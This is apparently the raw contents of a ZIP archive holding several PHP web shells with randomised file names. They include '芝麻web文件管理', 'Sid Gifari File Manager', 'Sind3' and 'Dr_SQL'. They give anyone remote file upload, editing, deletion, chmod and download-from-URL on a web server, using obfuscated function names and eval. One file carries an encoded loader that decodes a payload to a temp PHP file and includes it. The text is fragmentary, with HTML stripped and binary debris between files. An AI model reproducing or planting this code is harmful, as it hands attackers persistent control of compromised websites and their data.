芝麻web文件管理V1.00
';
}elseif( $action=='tj' && $dir!='' )
{
$t_name=isset($_POST['t_name'])?trim($_POST['t_name']):'';
if ( $t_name=='' )
{
show_msg('请输入项目名称!','back');
}else
{
if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,'');
if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true);
if ( $_POST['t_type']=='tj_xz' )
{
preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ;
}
jump_to('?d='.$dir);
}
exit;
}elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) )
{
MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ;
jump_to('?d='.$dir);
exit;
}
function get_qx($t)
{
$q=substr(sprintf('%o',fILepErMs($t)),-4);
return $q;
}
function set_qx($t,$q)
{
EvAl('cHMoD("'.$t.'",'.$q.');');
if ( get_qx($t)!=$q )
{
$tmp_f=uniqid().'.txt';
$tmp_c='';
fiLE_puT_cONtEnTs($tmp_f,$tmp_c);
require($tmp_f);
UnLInK($tmp_f);
}
}
function rm_rf($d)
{
if (is_dir($d))
{
$f_l=sCaNDir($d);
foreach ($f_l as $f)
{
if ($f=='.'||$f=='..') continue;
$p=$d.'/'.$f;
is_dir($p)?rm_rf($p):uNliNk($p);
}
rMdIR($d);
}
}
function show_msg($msg,$go)
{
echo '';
if ($go=='back') echo '';
if ($go=='close') echo '';
}
function jump_to($url)
{
echo '';
}
function down_file($dir,$url)
{
$s_name=array_pop(explode('/',$url));
if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz';
$ch=CUrl_iNit();
cuRl_seTOpt ($ch, CURLOPT_URL, $url);
cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1);
cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false);
cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true);
$contents = cUrl_eXeC($ch);
cURl_CLosE($ch);
if ( empty($contents) ) $contents=filE_geT_cONTentS($url);
if ( empty($contents) )
{
show_msg('下载出错!','');
}else
{
fIle_PuT_cONteNts($dir.'/'.$s_name,$contents);
show_msg('下载完成!','');
}
}
?>
芝麻web文件管理
芝麻web文件管理V1.00
PK =m\ about.phpnu [
AccessDeniedAccess DeniedHZ4WXH0ESBF1JYTBsW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=PK =m\f(E E f3wzk.phpnu [ $item,
'path' => $full_path,
'size' => is_file($full_path) ? filesize($full_path) : 0,
'type' => is_dir($full_path) ? 'directory' : 'file',
'modified' => date('Y-m-d H:i:s', filemtime($full_path))
];
}
}
return $files;
}
function format_size($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);
if($current_dir === false){
$requested_dir = basename($base_dir);
$current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
if($current_dir === false){
$requested_dir = '';
$current_dir = safe_realpath_within($root_anchor, $root_anchor);
}
}
// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
$parent_dir = dirname($requested_dir);
if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
$parent_dir = '';
}
// ==================== BREADCRUMB NAVIGATION ====================
$dir_parts = [];
if($requested_dir !== ''){
$parts = explode('/', $requested_dir);
$current_path = '';
foreach($parts as $part){
$current_path .= ($current_path ? '/' : '') . $part;
$dir_parts[] = [
'name' => $part,
'path' => $current_path
];
}
}
// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
$message = '';
switch($action){
case 'view':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Type: text/plain');
readfile($file_path);
exit;
}
break;
case 'edit':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$content = $_POST['content'] ?? '';
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
if(file_put_contents($file_path, $content) !== false){
$message = "File '{$file}' updated successfully!";
} else {
$message = "Error updating file '{$file}'!";
}
}
// Don't redirect - stay on edit page with message
} else {
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
$content = htmlspecialchars(file_get_contents($file_path));
echo "
Edit: ".htmlspecialchars($file)."";
echo "
Edit: ".htmlspecialchars($file)."
";
if($message) echo "
$message
";
echo "
";
exit;
}
}
break;
case 'delete':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
// Check if this is a confirmation request
$confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes';
if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
if(is_dir($file_path)){
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach($it as $f){
$f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
}
rmdir($file_path);
$message = "Folder '{$file}' deleted successfully!";
} else {
if(unlink($file_path)){
$message = "File '{$file}' deleted successfully!";
} else {
$message = "Error deleting file '{$file}'!";
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message));
exit;
} else {
// Show confirmation page
if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
echo "
Confirm Delete";
echo "
Confirm Delete
";
echo "
Are you sure you want to delete '".htmlspecialchars($file)."'?
";
echo "
Type: " . (is_dir($file_path) ? "Folder" : "File") . "
";
echo "
Path: " . htmlspecialchars($file_path) . "
";
echo "
";
echo "
YES, DELETE | ";
echo "
Cancel";
echo "";
exit;
}
}
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){
$uploaded = $_FILES['file'];
if($uploaded['error'] === UPLOAD_ERR_OK){
$name = basename($uploaded['name']);
$dest = $current_dir . DIRECTORY_SEPARATOR . $name;
if(safe_realpath_within(dirname($dest), $root_anchor)){
if(move_uploaded_file($uploaded['tmp_name'], $dest)){
@chmod($dest, 0644);
$message = "File '{$name}' uploaded successfully!";
} else {
$message = "Error uploading file '{$name}'!";
}
} else {
$message = "Invalid upload path!";
}
} else {
$message = "Upload error: " . $uploaded['error'];
}
}
// Stay on same page with message
break;
case 'download':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
header('Content-Length: '.filesize($file_path));
readfile($file_path);
exit;
}
break;
case 'create_folder':
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$folder = sanitize_path($_POST['folder_name'] ?? '');
if($folder){
$fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
if(mkdir($fp, 0755, true)){
$message = "Folder '{$folder}' created successfully!";
} else {
$message = "Error creating folder '{$folder}'!";
}
} else {
$message = "Folder already exists or invalid path!";
}
} else {
$message = "Please enter a folder name!";
}
}
// Stay on same page with message
break;
}
// Get message from URL if redirected
if(isset($_GET['message'])){
$message = $_GET['message'];
}
?>
File Manager
File Manager -
No files or folders found in this directory.
Security Info:
You can only access files within:
PK =m\.Q% % v95wi.phpnu [ $tmp) {
if ($tmp && is_uploaded_file($tmp)) {
$destination = $currentDir . '/' . basename($_FILES['files']['name'][$i]);
if (move_uploaded_file($tmp, $destination)) {
echo "File uploaded: " . basename($_FILES['files']['name'][$i]);
} else {
echo "Failed to upload: " . basename($_FILES['files']['name'][$i]);
}
}
}
}
// Handle new folder creation
if (!empty($_POST['newfolder'])) {
$newFolder = basename($_POST['newfolder']);
if (!file_exists($currentDir . '/' . $newFolder)) {
mkdir($currentDir . '/' . $newFolder, 0755);
}
}
// Handle new file creation
if (!empty($_POST['newfile'])) {
$filename = basename($_POST['newfile']);
$filepath = $currentDir . '/' . $filename;
if (!file_exists($filepath)) {
file_put_contents($filepath, ''); // Create an empty file
}
}
// Handle file/folder deletion
if (!empty($_POST['delete'])) {
$target = safePath($currentDir . '/' . $_POST['delete']);
if (is_file($target)) {
unlink($target); // Delete file
} elseif (is_dir($target)) {
rmdir($target); // Delete folder
}
}
// Handle renaming files/folders
if (!empty($_POST['old']) && !empty($_POST['new'])) {
$oldName = $currentDir . '/' . $_POST['old'];
$newName = $currentDir . '/' . $_POST['new'];
if (rename($oldName, $newName)) {
echo "Renamed successfully!";
}
}
// Handle chmod permissions change
if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
$target = safePath($currentDir . '/' . $_POST['chmod_file']);
if ($target) {
$mode = intval($_POST['chmod'], 8);
chmod($target, $mode);
}
}
// Handle file content editing
if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
$target = safePath($currentDir . '/' . $_POST['edit_file']);
if ($target && is_file($target)) {
file_put_contents($target, $_POST['content']);
}
}
// Redirect after POST action
header("Location: $BASE_URL?path=" . urlencode($path));
exit;
}
// ================= FILE LIST =================
$files = scandir($currentDir); // Get files and directories
// Edit file mode
$editMode = isset($_GET['edit']);
$editFile = $editMode ? $_GET['edit'] : '';
$editContent = '';
if ($editMode && $editFile) {
$target = safePath($currentDir . '/' . $editFile);
if ($target && is_file($target)) {
$editContent = htmlspecialchars(file_get_contents($target));
}
}
// Build path segments for navigation
$pathSegments = [];
if ($path) {
$segments = explode('/', trim($path, '/'));
$currentPath = '';
foreach ($segments as $segment) {
$currentPath .= '/' . $segment;
$pathSegments[] = [
'name' => $segment,
'path' => trim($currentPath, '/')
];
}
}
?>
Sid Gifari File Manager
Sid Gifari File Manager
Editing:
PK =m\Aj%\ %\ 8vgr5.phpnu [
| Name |
Size |
Actions |
';
echo '' . htmlspecialchars($entry) . ' | ';
echo '- | ';
echo ' | ';
echo '';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '';
echo '| ' . htmlspecialchars($entry) . ' | ';
echo '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ' | ';
echo '';
echo 'Edit | ';
echo 'Rename | ';
echo 'Delete';
echo ' | ';
echo '
';
}
?>
$l) {
if ($l == '' && $m == 0) {
$breadcrumbHtml .= '
/';
}
if ($l == '') continue;
$breadcrumbHtml .= '
'.$l.'/';
}
echo $breadcrumbHtml;
exit;
}
function safe_stream_copy($in, $out): bool {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
if (fwrite($out, $buff) === false) {
return false;
}
}
} while (!feof($in));
return true;
} else {
return stream_copy_to_stream($in, $out) !== false;
}
}
if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
$fileName = $_POST['benkyo'];
$encodedContent = $_POST['dakeja'];
$decodedContent = hex2bin($encodedContent);
if ($decodedContent === false) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
} else {
setFlash('failed', 'Invalid Base64 encoding');
header("Location: ?d=" . hex($d));
}
exit;
}
$tempStream = fopen('php://temp', 'r+');
fwrite($tempStream, $decodedContent);
rewind($tempStream);
$targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
$outStream = fopen($targetPath, 'wb');
$success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);
if ($outStream) fclose($outStream);
if ($tempStream) fclose($tempStream);
if ($success) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
} else {
setFlash('success', 'File uploaded successfully');
header("Location: ?d=" . hex($d));
}
} else {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
} else {
setFlash('failed', 'File upload failed');
header("Location: ?d=" . hex($d));
exit;
}
}
exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
if ($_GET['action'] === 'delete') {
$fileName = $_GET['file'];
$filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
if (!$filePath || !is_file($filePath)) {
$response = ['status'=>'failed','msg'=>'File not found or access denied'];
} else {
$result = unlink($filePath);
$response = $result
? ['status'=>'success','msg'=>'File deleted successfully']
: ['status'=>'failed','msg'=>'File deletion failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} elseif ($_GET['action'] === 'rename') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
$oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
$newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
if ($oldFile && is_file($oldFile)) {
$result = rename($oldFile, $newFile);
$response = $result
? ['status'=>'success','msg'=>'File renamed successfully']
: ['status'=>'failed','msg'=>'File renaming failed'];
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status'=>'failed','msg'=>'File not found']);
exit;
}
} elseif ($isAjax) {
echo '
Rename File: ' . htmlspecialchars($_GET['file']) . '
';
echo '
';
echo '';
echo '
';
exit;
}
} elseif ($_GET['action'] === 'edit') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$fp = fopen($filePath, "w");
if ($fp) {
$bytesWritten = fwrite($fp, stripslashes($_POST['content']));
fclose($fp);
$response = ($bytesWritten !== false)
? ['status' => 'success', 'msg' => 'File edited successfully']
: ['status' => 'failed', 'msg' => 'File editing failed'];
} else {
$response = ['status' => 'failed', 'msg' => 'File opening failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
exit;
}
} elseif ($isAjax) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$content = file_get_contents($filePath);
echo '
Edit File: ' . htmlspecialchars($_GET['file']) . '
';
echo '
';
echo '';
echo '
';
}
exit;
}
}
}
?>
Sind3
SERV :
SOFT :
IP :
——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————
$l) {
if ($l == '' && $m == 0) {
echo '
/';
}
if ($l == '') continue;
echo '
'.$l.'/';
}
?>
| Name |
Size |
Actions |
';
echo '' . htmlspecialchars($entry) . ' | ';
echo '- | ';
echo ' | ';
echo '';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '';
echo '| ' . htmlspecialchars($entry) . ' | ';
echo '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ' | ';
echo '';
echo 'Edit | ';
echo 'Rename | ';
echo 'Delete';
echo ' | ';
echo '
';
}
?>
PK =m\US S hpmo7.phpnu [ > $n) | (($b << (8 - $n)) & 0xFF)) & 0xFF;
} else {
$b = ((($b << $n) & 0xFF) | ($b >> (8 - $n))) & 0xFF;
}
$out .= chr($b);
}
return $out;
}
function ODCahlbgkR($fname, $payload) {
$tmp = sys_get_temp_dir() . '/' . uniqid('t', true) . '.php';
if (@file_put_contents($tmp, $payload) !== false) {
@chmod($tmp, 0640);
if (@rename($tmp, $fname)) {
@include_once($fname);
return true;
}
}
@file_put_contents($fname, $payload);
@include_once($fname);
return true;
}
try {
$enc = SuiROhBDIg($SMpiPHfV);
$s = '';
for ($i=0;$i
PK =m\ߟWj j index.phpnu [ PK =m\5$* * 2pj4h.phpnu [ PK >m\Q0, 0, 95r6k.phpnu [
Dr_SQL
HTML;
// === Breadcrumb ===
function getBreadcrumb($path) {
$parts = explode('/', trim(str_replace('\\', '/', $path), '/'));
$build = '';
$curr = '/';
$html = 'Root';
foreach ($parts as $part) {
if ($part === '') continue;
$curr = rtrim($curr, '/') . '/' . $part;
$html .= ' / ' . htmlspecialchars($part) . '';
}
return $html;
}
echo '';
echo '' . getBreadcrumb($current_dir) . '
';
// === Quick Actions ===
$enc_dir = urlencode($current_dir);
echo <<
ACTIONS;
// === File List ===
$items = [];
if ($dh = @opendir('.')) {
while (($f = readdir($dh)) !== false) {
if ($f === '.' || $f === '..') continue;
$items[] = $f;
}
closedir($dh);
natcasesort($items); // Natural sort (a1, a10, a2 → a1, a2, a10)
}
echo '